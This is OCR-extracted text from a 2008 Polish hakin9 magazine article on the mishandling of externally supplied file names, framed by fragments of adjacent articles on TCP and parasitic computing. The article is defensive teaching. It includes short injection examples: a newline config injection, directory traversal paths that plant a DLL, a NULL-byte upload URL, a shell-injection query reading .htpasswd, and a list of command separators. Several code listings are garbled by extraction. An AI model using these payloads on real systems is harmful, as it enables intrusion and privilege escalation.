cy, jak i prywatnie interesuje się programowaniem oraz bezpieczeństwem aplikacji sie-
ciowych.
Kontakt z autorem: kmalewski@gmail.com

Listing 9.

Reakcja systemu Windows Vista na pakiet z nieprawidłowym

numerem sekwencyjnym

Wywołanie polecenia z C
./

hping2

172.16

83.128

172.16

83.129

49165

spowoduje

odes

anie

odpowiedzi

przez

(

ttl

128

393

offset

flags

[

]

proto

TCP

(

)

length

)

172.16

83.128

49165

172.16

83.129

ack

200270774

win

253

(

ttl

128

394

offset

flags

[

]

proto

TCP

(

)

length

)

172.16

83.128

49165

172.16

83.129

ack

200270774

win

253

(

ttl

128

395

offset

flags

[

]

proto

TCP

(

)

length

)

172.16

83.128

49165

172.16

83.129

ack

200270774

win

253

(

ttl

128

396

offset

flags

[

]

proto

TCP

(

)

length

)

172.16

83.128

49165

172.16

83.129

ack

200270774

win

253

(

ttl

128

397

offset

flags

[

]

proto

TCP

(

)

length

)

172.16

83.128

49165

172.16

83.129

ack

200270774

win

253

Rysunek 2.

Dokładne znajdowanie numeru sekwencyjnego

��
��

��

�

www.hakin9.org

hakin9 Nr 01/2008

Atak

iniejszy artykuł ma na celu zazna-
jomić Czytelnika z najczęstszymi
błędami popełnianymi przez progra-

mistów podczas obsługi otrzymanych z ze-
wnątrz nazw plików.

Ukrywanie pełnej nazwy pliku

Część aplikacji umożliwiających transfer plików
między dwoma użytkownikami, a w szczególno-
ści ich odbieranie, przed przystąpieniem do fak-
tycznego transferu danych informuje użytkownika
co do nazwy przesyłanego lub odbieranego pliku,
aby mógł on zadecydować, czy plik faktycznie po-
winien zostać odebrany, czy też ma zostać odrzu-
cony, np. z powodów związanych z bezpieczeń-
stwem. Częstym zaniedbaniem w tym miejscu
jest dostarczenie przez programistę zbyt wąskie-
go pola przeznaczonego do wyświetlenia na-
zwy plików, przez co część nazwy pliku zosta-
nie ukryta przed użytkownikiem. Błąd na pierw-
szy rzut oka wydaje się być trywialny, jednak
jego konsekwencje mogą być poważne. Przy-
kładowo, w roku 2004 błąd tego typu został
wykryty przez Bartosza Kwitkowskiego w module
przesyłania plików popularnego polskiego komu-
nikatora Gadu-Gadu (http://securitytracker.com/
id?1011037). Niebezpieczeństwo tego błędu po-

lega na ukryciu przed użytkownikiem prawdziwe-
go rozszerzenia pliku poprzez sformułowanie na-
zwy w następujący sposób: obrazek.jpg<DUŻO
SPACJI>.exe. Z uwagi na zbyt wąskie pole wy-
świetlające nazwę pliku oraz dużą ilość spacji
w nazwie, faktyczne rozszerzenie odbieranego
pliku nie zmieści się w polu nazwy – a więc nie
zostanie wyświetlone (patrz Rysunek 1).

Programista tworzący aplikację powinien za-

pewnić odpowiednie jej zachowanie w takim wy-
padku. Przykładowym rozwiązaniem może być

Niebezpieczne nazwy

plików

Michał Gynvael Coldwind Składnikiewicz

stopień trudności

Programiści, zarówno początkujący, jak i profesjonaliści, mają

tendencje do pokładania przesadnego zaufania w poprawności

otrzymywanych z zewnątrz nazw plików. W konsekwencji ich

aplikacje mogą stać się wejściem do systemu dla potencjalnego

włamywacza.

Z artykułu dowiesz się

• o najczęstszych zaniedbaniach w implementacji

obsługi nazw plików otrzymanych z zewnątrz,

• jakie są konsekwencje nieodpowiedniej wali-

dacji otrzymanych z zewnątrz danych,

• o trudnościach wynikających z pisania między-

platformowych aplikacji operujących na plikach.

Co powinieneś wiedzieć

• mieć ogólne pojęcie o popularnych językach

programowania oraz najbardziej znanych sys-
temach operacyjnych.

Niebezpieczne nazwy plików

hakin9 Nr 01/2008

www.hakin9.org

użycie pola wieloliniowego lub znacz-
nika informującego użytkownika, że
nazwa ma ciąg dalszy – przy czym
należy pamiętać, aby użyć dobrze
widocznego znacznika. Często uży-
wany jest wtedy wielokropek, jednak
zdaniem autora trzy piksele tworzące
wielokropek mogą zostać przez użyt-
kownika niezauważone.

Znak nowej linii

Aplikacje serwerowe udostępnia-
jące pliki bardzo często zapisują
w logach wszystkie nazwy plików żą-
danych przez użytkowników, wraz
z żądaniami, które zakończyły się
niepowodzeniem (np. z powodu nie-
istniejącego zasobu) – co, samo
w sobie, jest oczywiście bardzo
dobrym pomysłem i jest niezwy-
kle przydatne przy przeprowadza-
niu wszelkiego rodzaju analiz i ba-
dań, na przykład powłamaniowych.
Często w tym celu używa się logów
w formacie tekstowym, głównie
z uwagi na prostotę zapisu oraz póź-
niejszego odczytu – czy to przez
człowieka, czy przez przeznaczone
do tego celu skrypty. Problem po-
jawia się w momencie, gdy progra-
mista zaniedba konwersje niektó-
rych znaków specjalnych pojawia-
jących się w nazwie zażądanego
zasobu, takich jak znak nowej linii.
Należy jednak zauważyć, iż ataku-
jący musi mieć możliwość wstawie-
nia znaku nowej linii, który nie zosta-
nie obsłużony w ramach parsowania
pakietu – jest to możliwe w protoko-
łach binarnych oraz w protokołach
tekstowych udostępniających znaki
ucieczki lub alternatywne kodowanie
znaków, np. za pomocą ich kodów
ASCII. W takim wypadku atakujący
może wstawić do logów dodatkowe,

nieprawdziwe wpisy, mogące zmylić
osoby przeprowadzające analizę po-
włamaniową lub – w przypadku, gdy
system korzysta z analizatora logów
– odciąć dostęp do usługi zaufanym
hostom. Jako przykład wyobraźmy
sobie aplikację udostępniającą pliki,
która tworzy logi w postaci:

IP _ użytkownika: stan(OK lub ERROR)
żądany plik

Przykładowy wpis w logach mógłby
wyglądać tak:

192.168.0.12: OK /var/files/cars.db

Proszę zauważyć, że atakujący w takim
wypadku może wysłać specjalnie spre-
parowane żądanie, które spowoduje
wstawienie dodatkowych wpisów do lo-
gów – wystarczy, że użyje znaku nowej
linii w nazwie żądanego zasobu. Przy-
kładowo, atakujący mógłby poprosić
o plik /var/files/csrs.db\n123.123.123.123:
OK /etc/shadow (gdzie \n to znak no-
wej linii). Takie żądanie spowodowało-
by pojawienie się w logach następują-
cego wpisu:

192.168.0.12: ERROR /var/files/csrs.db
123.123.123.123: OK /etc/shadow

W konsekwencji wystraszony admi-
nistrator (lub analizator logów, któ-
rego używa) mógłby odciąć dostęp
z hosta 123.123.123.123.

W powyższym przykładzie pro-

blem wynikający z wystąpienia nie-
obsłużonego znaku nowej linii wyda-
je się być stosunkowo niegroźny, jed-
nak nietrudno wyobrazić sobie groź-
niejszy przypadek, gdy nazwa ostat-
niego zażądanego przez użytkowni-
ka pliku jest zapisywana do teksto-
wego pliku konfiguracyjnego. W ta-
kim wypadku atakujący dostaje moż-
liwość dopisania dowolnej opcji do
pliku konfiguracyjnego – przykłado-
wo takiej, która zwiększy jego upraw-
nienia. Jako przykład weźmy wyima-
ginowany serwer plików korzystający
z tekstowej bazy danych, w której
przechowuje informacje o kontach
użytkowników, takie jak login, hasło,
poziom dostępu oraz ostatnio zażą-
dany plik. Przykład takiej bazy znaj-
duje się na Listingu 1. Gdy użytkow-
nik zażąda jakiegoś pliku, aplikacja
serwerowa zapisuje informacje o żą-
daniu do bazy danych (pole LASTRE-
QUEST), po czym kontynuuje prze-
twarzanie. W takim wypadku ataku-
jący ma możliwość wysłania żądania
zawierającego znak nowej linii, które
– nieodpowiednio obsłużone – spo-
woduje dodanie opcji ACCESSLE-
VEL=admin do pliku konfiguracyjne-
go, co po przeładowaniu bazy danych
spowoduje nadanie użytkownikowi
wyższego poziomu dostępu. Żądanie
takie może wyglądać następująco:

\nACCESSLEVEL=admin

Analogiczny błąd występował w Penul-
tima Online – emulatorze serwera Ulti-

Rysunek 1.

Okno transferu pliku w Gadu-Gadu 6

Listing 1.

Tekstowa baza użytkowników

[

User

]

admin

PASS

md5

d10a20c8c3b635d4a6f7dcdae96a15d2

ACCESSLEVEL

admin

LASTREQUEST

var

files

csrs

[

User

]

hax

PASS

md5

d41d8cd98f00b204e9800998ecf8427e

#ACCESSLEVEL=user (default)

LASTREQUEST

var

files

rules

txt

hakin9 Nr 01/2008

www.hakin9.org

Atak

my Online, dotyczył on jednak nie na-
zwy pliku, a nazwy użytkownika. Za
pomocą znaku nowej linii możliwe by-
ło nadanie konkretnej postaci w grze
uprawnień administratora. Jak widać,
błąd ten dotyczy nie tylko nazw plików.

Niegroźny, nie mniej jednak intere-

sujący, błąd związany z brakiem ob-
sługi znaku nowej linii został znale-
ziony przez autora w Fileinfo (http://
blog.hispasec.com/lab/advisories/
adv_Fileinfo-2_09_multiple_vulne-
rabilities.txt), pluginie do Total Com-
mandera autorstwa Francoisa Gan-
niera. Fileinfo jest pluginem wyświetla-
jącym informacje o strukturze plików
wykonywalnych (MZ, PE) oraz obiek-
towych (COFF). Błąd był umiejscowio-
ny w obsłudze plików PE – autor zało-
żył, że nazwa importowanej biblioteki
DLL będzie normalną nazwą pliku. Nie
przewidział jednak możliwości, że bę-
dzie ona zawierała znaki nowej linii, co
umożliwia atakującemu dodanie wła-
snych fałszywych informacji o danym
pliku PE do raportu generowanego
przez Fileinfo (patrz Rysunek 2).

Problem wyboru

Problem wyboru nazwy pliku doty-
czy konkretnych przypadków, w któ-
rych programista dostaje kilka nazw,
teoretycznie identycznych, określa-
jących jeden plik i musi dokonać wy-
boru, której nazwy użyć. Jako że
nazwy powinny być – przynajmniej
w teorii – identyczne, wybór wydaje
się nie mieć znaczenia, ale co w wy-
padku, gdy atakujący spreparuje po-

dane aplikacji dane i nazwy nie będą
takie same?

Tego typu problem pojawia się

w przypadku archiwów ZIP, w których
nazwa skompresowanego pliku zapi-
sana jest w dwóch miejscach: przed
skompresowanymi danymi – w tzw. lo-
kalnym nagłówku pliku (ang. local file
header) oraz w nagłówku pliku w cen-
tralnym katalogu (ang. central directo-
ry). Programista powinien wybrać jed-
ną nazwę, którą najpierw pokaże użyt-
kownikowi w celu weryfikacji pliku do
rozpakowania lub po prostu wylisto-
wania plików w archiwum, a następnie
powinien użyć tej samej nazwy przy
tworzeniu rozpakowanego pliku. Oka-
zuje się, że nie zawsze tak się dzieje.

Przykładowo w menadżerze plików

Unreal Commander firmy X-Diesel
podczas listowania plików archiwum
aplikacja pokazuje użytkownikowi na-
zwy plików pobrane z centralnego ka-
talogu, jednak przy rozpakowywaniu
danego pliku aplikacja korzysta z na-
zwy zawartej w lokalnym nagłówku
pliku (http://blog.hispasec.com/lab/
advisories/adv_UnrealCommander_
0_92_build_573_Multiple_Vulnerabi-
lities.txt). W takim wypadku atakują-
cy może ukryć prawdziwą tożsamość
pliku nawet przed uważnym użytkow-
nikiem. Należy zauważyć, że zagro-
żenie wynikające z tego zaniedbania
wydaje się być niewielkie, ale w po-
łączeniu z innymi błędami (np. gło-
śnym błędem z kursorami animowa-
nymi .ani – wewnętrzna funkcja sys-
temu Windows była podatna na atak

typu buffer overflow podczas odczy-
tu danych z pliku z animowanym kur-
sorem, również przy generowaniu
podglądu w momencie listowania pli-
ków w katalogu za pomocą Windows
Explorera lub dowolnego innego me-
nadżera plików wyświetlającego pod-
gląd kursorów animowanych) zagro-
żenie może wzrosnąć.

Directory traversal

Pozostając przy tematyce archiwów,
warto wskazać często występujący
błąd, polegający na użyciu nazwy pli-
ku zawartej w archiwum bez spraw-
dzenia, czy nie zawiera ona znaków
specjalnych służących do zapisu ście-
żek relatywnych – czyli kropki, sla-
sha oraz backslasha, lub – w wypad-
ku, gdy jest to dopuszczalne – nie po-
informowania użytkownika o tym fak-
cie, np. prezentacja jedynie nazw pli-
ków, bez dołączonej do nich ścież-
ki względnej. Przykładowo w plikach
ZIP możliwe jest zapisanie relatyw-
nej ścieżki zawierającej odwołania do
katalogu nadrzędnego, czyli /../../../../.
W takim wypadku niewystarczająco
zabezpieczona aplikacja rozpakowa-
łaby plik do jednego z katalogów nad-
rzędnych, a nawet w dowolnie wska-
zane miejsce przez atakującego.
W przypadku systemu Windows miej-
sce ograniczyłoby się do danej party-
cji. Rozważając konsekwencje takiej
możliwości, należy wskazać atak pod-
miany DLL (ang. DLL Spoofing), pole-
gający na utworzeniu w katalogu apli-
kacji biblioteki DLL o takiej samej na-
zwie, jak dowolna nie-systemowa bi-
blioteka DLL, z której korzysta aplika-
cja, a która normalnie jest umieszczo-
na w katalogu systemowym (na przy-
kład w C:\Windows\system32). Spo-
wodowałoby to, że w momencie uru-
chomienia aplikacji zostałaby zaim-
portowana biblioteka z katalogu apli-
kacji, a nie ta umieszczona w katalo-
gu systemowym – skutkując wykona-
niem kodu umieszczonego przez ata-
kującego w bibliotece DLL. Należy za-
uważyć, że w takim wypadku nie jest
konieczna podmiana żadnego pliku,
a tym bardziej nie jest konieczne ręcz-
ne uruchomienie podstawionej biblio-
teki DLL. Atak ten połączony z opisa-
nym możliwym błędem w implementa-

Listing 2.

Prosty skrypt tworzący pliki tekstowe

php

// Pobierz argumenty

isset

(

_GET

[

name

])

isset

(

_GET

[

data

]))

die

(

Usage

set

name

file

name

and

data

);

fname

_GET

[

name

];

fdata

_GET

[

data

];

// Usun slashe jesli trzeba

(

get_magic_quotes_gpc

())

{

fname

stripslashes

(

fname

);

fdata

stripslashes

(

fdata

);

}

// Zapisz

file_put_contents

(

fname

. '.

txt

', $

data

);

Niebezpieczne nazwy plików

hakin9 Nr 01/2008

www.hakin9.org

cji rozpakowywania plików ZIP mógłby
wyglądać następująco: w pliku ZIP po-
dana byłaby nazwa pliku w postaci:

../../../../../../../../Program Files/
mIRC/wsock32.dll

W momencie rozpakowania (przy za-
łożeniu, że na danym dysku istnie-
je katalog Program Files oraz ka-
talog mIRC) plik wsock32.dll zo-
stałby rozpakowany do katalogu
\ProgramFiles\mIRC, a nie – jak użyt-
kownik by oczekiwał – do katalogu
wskazanego przez niego. Dzieje się
tak dlatego, iż programista założył, że
nazwa nie będzie zawierała ścieżki
lub nie będzie to ścieżka, która odwo-
łuje się do nadrzędnych katalogów.
W konsekwencji użył więc nazwy pli-
ku – bez uprzedniej korekty – w po-
leceniu tworzącym plik, na przykład
CreateFile. Wydawałoby się jednak,
że aby przeprowadzić taki atak, nale-
ży znać dokładny poziom zagłębienia
w strukturę katalogów w celu określe-
nia niezbędnej ilości odwołań do ka-
talogów nadrzędnych (czyli dokład-
ną ilość ../). Jak się okazuje, nie jest
to konieczne, ponieważ system Win-
dows nie zgłasza błędu, gdy następu-
je odwołanie do katalogu nadrzędne-
go w głównym katalogu dysku, przez
co możliwe jest użycie nadmiarowej
ilości odwołań do nadrzędnego ka-
talogu w celu upewnienia się iż kon-
tekst faktycznie dotrze do głównego
katalogu dysku. W momencie, gdy ni-
czego nieświadomy użytkownik uru-
chomi mIRC'a, uruchomiony zostanie

również kod zawarty w podstawionej
bibliotece wsock32.dll.

Tego typu błąd pojawił się na

przykład w wymienionym już wcze-
śniej Unreal Commanderze (w mo-
mencie pisania artykułu jest on
nadal niepoprawiony) oraz w star-
szych wersjach Total Commandera.

Aplikacja korzystająca z ze-

wnętrznych nazw plików powinna
zwracać szczególną uwagę na zna-
ki umożliwiające podróżowanie po
drzewie katalogów – czyli slashe,
kropki oraz backslashe. Dobrym po-
mysłem jest konwersja tych znaków
na inne (na przykład na underscore
_ ) lub usunięcie odwołań do kata-
logów (np. wykasowanie wszystkich
odwołań do nadrzędnych katalogów
– czyli ciągów ../ oraz /..) – w tym wy-
padku należy jednak zwrócić szcze-
gólną uwagę na to, czy usunięte zo-
stały faktycznie wszystkie próby od-
wołania do nadrzędnych katalogów.
W wypadku, gdy ciąg byłby spraw-
dzany tylko raz, i ciąg ../ byłby usuwa-
ny tylko w pierwszym sprawdzaniu,
możliwe jest stworzenie ciągu który
po usunięciu pierwszych ../ ponow-
nie sformułuje ciąg odwołujący się do
katalogu nadrzędnego. Przykładowo
weźmy poniższy ciąg:

ala/.../.../..//kot

Funkcja usunęłaby kolejne wystą-
pienia ciągu ../, co spowodowałoby
powstanie poniższego ciągu:

ala/../kot

Funkcja usuwająca powinna więc
poszukiwać odwołań do katalogów
nadrzędnych, dopóki na pewno nie
zostaną usunięte wszystkie ciągi ../.

Remote

directory traversal

Błąd typu directory traversal można wy-
korzystać również zdalnie, na przykład
w przypadku aplikacji klienckich proto-
kołu FTP, które pokładają zbyt duże
zaufanie w poprawności otrzymanych
od serwera FTP nazw plików. Tego ty-
pu błąd występował w menadżerze pli-
ków Total Commander, do wersji 7.01
włącznie

(http://blog.hispasec.com/

lab/advisories/adv_TotalComman-
der_7_01_Remote_Traversal.txt).

Total Commander po połączeniu

z serwerem FTP może wysłać do nie-
go jedną z komend takich jak: USER,
PASS, SYST, FEAT, PWD, TYPE,
PASV oraz LIST. Odpowiedzią ser-
wera na ostatnią komendę jest lista
plików obecnych w danym katalogu.
Format listy zależy od serwera FTP,
między innymi format UNIX Type: L8
wygląda identycznie, jak wynik pole-
cenia ls -l, na przykład:

-rwxr-xr-x 1 ftp ftp 4096 Aug 1 02:28

plik

Aplikacja spodziewa się, że ostatnie
pole będzie faktycznie nazwą pliku
w danym katalogu i nie będzie zawie-
rać ścieżki względnej ani bezwzględ-
nej. Możliwe jest zatem stworzenie
serwera FTP, który w liście plików bę-
dzie wysyłać plik z backslashami oraz
kropkami w nazwie, na przykład:

-rwxr-xr-x 1 ftp ftp 4096 Aug 1 02:
28 ..\..\..\..\..\Program Files\mIRC\
wsock32.dll

Okazuje się, iż w takim wypadku To-
tal Commander w liście plików w da-
nym katalogu FTP wyświetli jedynie
samą nazwę pliku – czyli wsock32.dll,
bez pełnej ścieżki katalogów. Jednak
w momencie, gdy użytkownik zdecydu-
je się ściągnąć plik na dysk lokalny, To-
tal Commander użyje pełnej znanej so-
bie nazwy pliku, łącznie ze ścieżką ka-
talogów i odwołaniami do katalogów
nadrzędnych. W przypadku, gdy użyt-

Rysunek 2.

Okno raportu Fileinfo z wstawionym napisem Proof of concept

hakin9 Nr 01/2008

www.hakin9.org

Atak

kownik ściąga z serwera więcej niż je-
den plik, na przykład kilka plików lub
katalogów wraz z zawartością, Total
Commander nie informuje w żaden
sposób użytkownika o pliku skopiowa-
nym do innej lokacji. Jak widać, błąd
jest dość groźny – w końcu nietrudno
przekonać użytkownika, aby ściągnął
kilka katalogów z serwera FTP. Luka ta
została poprawiona w wersji 7.02. Trze-
ba przyznać, iż autor Total Comman-
dera dba o swoją aplikację – łatkę wy-
puścił kilka dni po otrzymaniu informa-
cji o luce.

Poison NULL byte

Kolejny błąd, już nie tak oczywisty jak
poprzednie, dotyczy konwersji meto-
dy przechowywania znaków z binar-
nie bezpiecznej (ang. binary safe) na
metodę stosującą terminator, na przy-
kład ASCIIZ – ASCII zakończone baj-
tem zerowym, ang. ASCII Zero-termi-
nated). Większość języków skrypto-
wych i opartych na maszynach wirtu-
alnych, takich jak Perl, PHP, Python,
Java, itd., przechowuje łańcuchy zna-
ków stosując strukturę składającą się
z pola zawierającego liczbę bajtów
(znaków) w łańcuchu oraz tablicy baj-
tów (znaków) – danych łańcucha. Nato-
miast API popularnych systemów ope-
racyjnych, takich jak Windows czy sys-
temów opartych o jądro Linuksa, ko-
rzystają ze stringów będących po pro-
stu tablicą znaków zakończoną termi-
natorem – w przypadku w/w systemów
jest to znak o kodzie binarnym równym
zero. W związku z tym, gdy implemen-
tacja poleceń języka wymaga odwoła-
nia do API systemowych, zachodzi po-
trzeba konwersji metody zapisu łańcu-
cha znaków. Problem pojawia się w
momencie, gdy łańcuch zawierał znak
o kodzie równym zero, który jest cał-
kowicie legalnym znakiem dla meto-

dy używanej wewnątrz języka, jed-
nak w przypadku łańcuchów z termi-
natorem zostanie zinterpretowany jako
znak końca łańcucha. Korzystając z tej
metody atakujący – używając bajtu ze-
rowego – może przedwcześnie zakoń-
czyć łańcuch, czyli zapobiec konkate-
nacji kolejnych łańcuchów. W rzeczy-
wistości będą one doklejane, jednak
funkcje API będą ignorować wszyst-
ko, co następuje po bajcie zerowym.
Weźmy pod uwagę przykładowy skrypt
znajdujący się na Listingu 2. Celem
programisty piszącego ten skrypt było
stworzenie prostego interfejsu pozwa-
lającego łatwo generować pliki teksto-
we z rozszerzeniem .txt, w dowolnej lo-
kacji na dysku. Atakujący mógłby jed-
nak użyć bajtu zerowego, by utworzyć
plik o dowolnym rozszerzeniu, wykonu-
jąc na przykład zapytanie:

http://serwer/skrypt.php?name=evil
.php%00&data=evil _ script _ goes _
here

W tym wypadku API systemowe otrzy-
małoby polecenie utworzenia pliku
o nazwie evil.php\0.txt, gdzie \0 to
bajt zerowy, natomiast – jako że bajt
zerowy to w tym wypadku termina-
tor – utworzony zostałby plik evil.php,
a reszta nazwy zostałaby zignorowa-
na. Warto wspomnieć iż termin trujący
bajt zerowy (ang. poison NULL byte)
został pierwszy raz użyty w roku 1998
przez Olafa Kircha na liście Bugtraq.
Na błąd typu poison NULL byte podat-
ne było między innymi phpBB. Błąd ten
wykryty został przez hakera o pseudo-
nimie ShAnKaR w roku 2004.

Shell injection

Niekiedy programiści uważają za sto-
sowne przekazać otrzymaną z ze-
wnątrz nazwę pliku do innego ze-
wnętrznego skryptu bądź programu
za pomocą polecenia typu system(),
popen() lub analogicznych. W takich
wypadkach wyjątkowo ważne jest za-
dbanie o to, by otrzymana nazwa pliku
nie zawierała żadnego separatora po-
leceń – znaku lub ciągu znaków, który
umożliwiłby atakującemu uruchomie-
nie dodatkowego polecenia. W przy-
padku systemów opartych o jądro Li-
nuksa uruchomienie dodatkowego po-

lecenia można uzyskać w jeden z na-
stępujących sposobów (Listing 3). Do-
datkowo możliwe jest przekierowanie
standardowych strumieni za pomocą
< (stdin), > (stdout) oraz 2> (stderr).
Przykładowy skrypt podatny na tego
typu atak wygląda następująco:

<?php system(„file” . $_GET['name']); ?>

W zamierzeniu programisty skrypt
miał wypisywać informację korzy-
stając z polecenia file o typie wska-
zanego pliku. Atakujący mógłby
jednak wykonać zapytanie, które
spowodowałoby uruchomienie do-
datkowego polecenia, na przykład:

http://serwer/info.php?name=;cat%20.ht

passwd

W takim wypadku wykonane zostało-
by polecenie system z parametrem file
;cat .htpasswd. Programista korzysta-
jący z zewnętrznych poleceń powinien
zwrócić szczególną uwagę na otrzy-
mywane z zewnątrz dane, w szczegól-
ności powinien z nich usunąć wszelkie
znaki umożliwiające wykonanie dodat-
kowych poleceń – takie jak

; | & ` $

( )

. Przykładowo język PHP udostęp-

nia w tym celu funkcje escapeshellarg
oraz escapeshellcmd.

Inne

Oprócz powyższych, często popełnia-
nych zaniedbań, programista powinien
oczywiście również uważać na stan-
dardowe błędy typu przepełnienie bu-
fora czy format bug. Błędy te były opi-
sywane już wielokrotnie, więc zainte-
resowany Czytelnik nie powinien mieć
trudności ze znalezieniem dokładniej-
szych informacji na ich temat.

Różnice

w systemach plików

Na koniec warto wspomnieć o kilku
trywialnych różnicach między sys-
temami plików używanych w syste-
mach z rodziny Windows oraz PO-
SIX-owych, czyli stosujących systemy
plików rozróżniające wielkość liter,
które mogą utrudnić życie programi-
ście tworzącemu międzyplatformo-
wą aplikację. Systemy POSIX-owe
w większości przypadków korzystają

Listing 3.

Wykorzystanie

separatorów do
nieautoryzowanych poleceń

; polecenie
| polecenie
&& polecenie
|| polecenie
`polecenie`
$(polecenie)

Niebezpieczne nazwy plików

z systemów plików, które jednoznacz-
nie określają nazwę pliku – czyli, z po-
minięciem linków symbolicznych, je-
den plik ma tylko i wyłącznie jedną na-
zwę, i wyłącznie po tej nazwie można
się do niego odwołać – chodzi m.in.
wrażliwość na wielkość liter. Nie jest
tak w przypadku systemów z rodziny
Windows. Jako przykład weźmy plik
ala.txt – można się do niego odwo-
łać używając nazwy ala.txt, ALA.TXT,
aLa.TxT, lub ala.TXT – system ten,
nie dość że jest niewrażliwy na wiel-
kość liter, to jeszcze ignoruje wszyst-
kie kropki występujące na końcu
nazwy pliku. Dodatkowy wariant od-
wołania do pliku pojawia się w wy-
padku, gdy plik ma nazwę, której nie
można zapisać w formacie 8.3 (8 zna-

ków nazwy, 3 znaki rozszerzenia) – na
przykład alamakota.txt. Do pliku od-
wołać się można wtedy korzystając ze
skróconej wersji jego długiej nazwy,
czyli na przykład alamak~1.txt. Nale-
ży zauważyć, że z tego powodu archi-
wum zawierające pliki ala.txt, aLa.TxT,
oraz ALA.TXT zostanie rozpakowa-
ne w zupełnie inny sposób w syste-
mie POSIX-owym oraz systemie z ro-
dziny Windows. Kolejnym problemem
mogą być zastrzeżone już w czasach
MS-DOS nazwy plików, takie jak con,
nul czy com1 – com9. Pliki o takich
nazwach mogą bez problemu istnieć
w systemach POSIX-owych, nato-
miast w systemach z rodziny Windows
takie pliki nie mogą zostać utworzone
a przynajmniej w standardowy sposób.

Jeszcze inny problem mogą sprawić al-
ternatywne strumienie danych w syste-
mie plików NTFS, do których odwołuje
się za pomocą dwukropka. Przykłado-
wo plik ala:kot mógłby być normalnym
plikiem w systemie POSIX-owym, nato-
miast w przypadku systemu korzystają-
cego z NTFS ala:kot oznacza strumień
kot w pliku ala. Ostatnią bardzo widocz-
ną różnicą jest zapis ścieżek katalogów
– w przypadku systemów POSIX-owych
separatorem katalogów jest slash, nato-
miast w przypadku systemów z rodziny
Windows może to być zarówno slash,
jak i backslash. Tak więc plik ala\kot
mógłby być normalnym plikiem w sys-
temie POSIX-owym, ale w systemie z
rodziny Windows oznaczałby on plik kot
w katalogu ala.

Podsumowanie

Mam nadzieję, iż niniejszy artykuł po-
może programistom ustrzec się błę-
dów związanych z obsługą nazw pli-
ków otrzymanych z zewnątrz, a teste-
rom wskaże miejsca, w których po-
tencjalny błąd mógłby zaistnieć. l

O autorze

Michał Składnikiewicz, inżynier informatyki, ma wieloletnie doświadczenie jako pro-
gramista oraz reverse engineer. Obecnie jest koordynatorem działu analiz w między-
narodowej firmie specjalizującej się w bezpieczeństwie komputerowym.
Kontakt z autorem: gynvael@coldwind.pl

www.hakin9.org

hakin9 Nr 01/2008

Atak

rzesyłanie informacji za pośrednic-
twem Internetu jest złożonym proce-
sem regulowanym przez zestaw pro-

tokołów. Protokoły te implementowane są
obecnie zgodnie z globalnym standardem
– określającym warstwy funkcjonalne wymaga-
ne do obsługi połączeń – o nazwie OSI (Open
System Interconnection). Kiedy użytkownik
wpisuje do swojej przeglądarki internetowej ad-
res URL w celu obejrzenia strony WWW, prze-
glądarka nawiązuje połączenie przy wykorzy-
staniu protokołu TCP (Transmission Control
Protocol). W następnej kolejności, przy wy-
korzystaniu istniejącego połączenia TCP, wy-
syłane jest żądanie za pośrednictwem pro-
tokołu HTTP (Hyper Text Transfer Protocol).
Pakiet TCP jest przesyłany przez sieć za po-
średnictwem protokołu IP (Internet Protocol).
Przesyłany komunikat może zostać podzielo-
ny na mniejsze pakiety, które przesłane zosta-
ną niezależnie przez szereg routerów znajdu-
jących się między źródłem a miejscem docelo-
wym. Kiedy żądanie HTTP dotrze do miejsca
przeznaczenia, odpowiedź odsyłana jest tym
samym połączeniem TCP, jakie zostało nawią-
zane przez przeglądarkę użytkownika.

Mechanizmy zaimplementowane w proto-

kołach TCP/IP rekonstruują oryginalny komu-

nikat ze zbioru pakietów, jakie zostały przesła-
ne przez sieć. Komunikat ten jest ostatecznie
przetwarzany w warstwie aplikacji przez proto-
kół HTTP. Po zinterpretowaniu żądania przez
serwer WWW zostaje wygenerowana odpo-
wiedź (może to być właściwa strona, komuni-
kat o błędzie itd.).

Jak widać, prosty z pozoru proces wymaga

dosyć znacznej liczby obliczeń – zarówno po
stronie wysyłającej, jak i odbierającej żądanie.
Niezawodność komunikacji, jaką zapewnia do-

Obliczenia pasożytnicze

Michał Styś

stopień trudności

Niezawodne przesyłanie danych w Internecie gwarantowane

jest przez zestaw protokołów sieciowych implementowanych

w systemach komputerowych. Artykuł ten pokaże, w jaki sposób

protokoły te mogą zostać wykorzystane w celu zmuszenia

zdalnych systemów do nieświadomego wykonania użytecznych

z punktu widzenia napastnika obliczeń.

Z artykułu dowiesz się

• w jaki sposób wykorzystać protokoły sieciowe,

aby wykonywać obliczenia na komputerach
podłączonych do Sieci,

• jakie znaczenie dla bezpieczeństwa kompu-

terowego ma trudność rozwiązywania proble-
mów klasy NP.

Co powinieneś wiedzieć

• powinieneś mieć podstawową wiedzę o modelu

OSI,

• powinieneś rozumieć, jak działają protokoły

sieciowe.

Techniki obliczeń pasożytniczych

hakin9 Nr 01/2008

www.hakin9.org

datkowo protokół TCP, wprowadza
takie elementy jak trójfazowe uzgad-
nianie połączenia, potwierdzanie
otrzymania pakietu, sumy kontrolne
oraz numery sekwencyjne. Elementy
zapewniające niezawodność komu-
nikacji można jednak wykorzystać
w zupełnie innym celu niż ten, do
którego zostały zaprojektowane.

Pasożytniczy komputer

Termin pasożytniczy komputer odno-
si się do realizacji abstrakcyjnej ma-
szyny składającej się z rozproszo-
nych w sieci komputerów. Podobnie
jak w przypadku standardowych pro-
jektów realizujących obliczenia roz-
proszone, maszyna ta zbudowana
jest w oparciu o protokoły sieciowe.
W odróżnieniu jednak od nich, układ
pasożytniczy wykonuje obliczenia
bez wiedzy i pozwolenia właścicie-
la komputera ofiary, wykorzystywa-
nego jako węzeł obliczeniowy. Infor-
matyka pasożytnicza nie musi zakła-
dać również konieczności ingerencji
w oprogramowanie działające na
komputerze ofiary. Nie dochodzi tu-
taj do włamania do zdalnego systemu
ani też instalowania na nim jakiego-
kolwiek złośliwego oprogramowania.

Realizacja

pasożytniczego

komputera

Protokół TCP dobrze nadaje się do
zrealizowania idei pasożytniczego
komputera w praktyce. Do tego ce-
lu posłużyć może mechanizm sumy
kontrolnej.

Pakiet przesyłany przez Inter-

net może w którymś momencie ulec

uszkodzeniu. Przykładowo, seria sy-
gnałów elektrycznych reprezentu-
jących bity może zostać zmieniona
w czasie przepływu przez kabel kon-
centryczny wskutek tłumienia lub in-
terferencji wywołanych przez źródła
pól elektromagnetycznych znajdują-
cych się w pobliżu medium transmi-
syjnego. Aby zapewnić niezawod-
ność w tego typu sytuacjach, proto-
kół TCP wprowadza mechanizm su-
my kontrolnej. Komputer wysyłający
pakiet oblicza jego sumę kontrolną
i dołącza ją do pakietu. Następnie
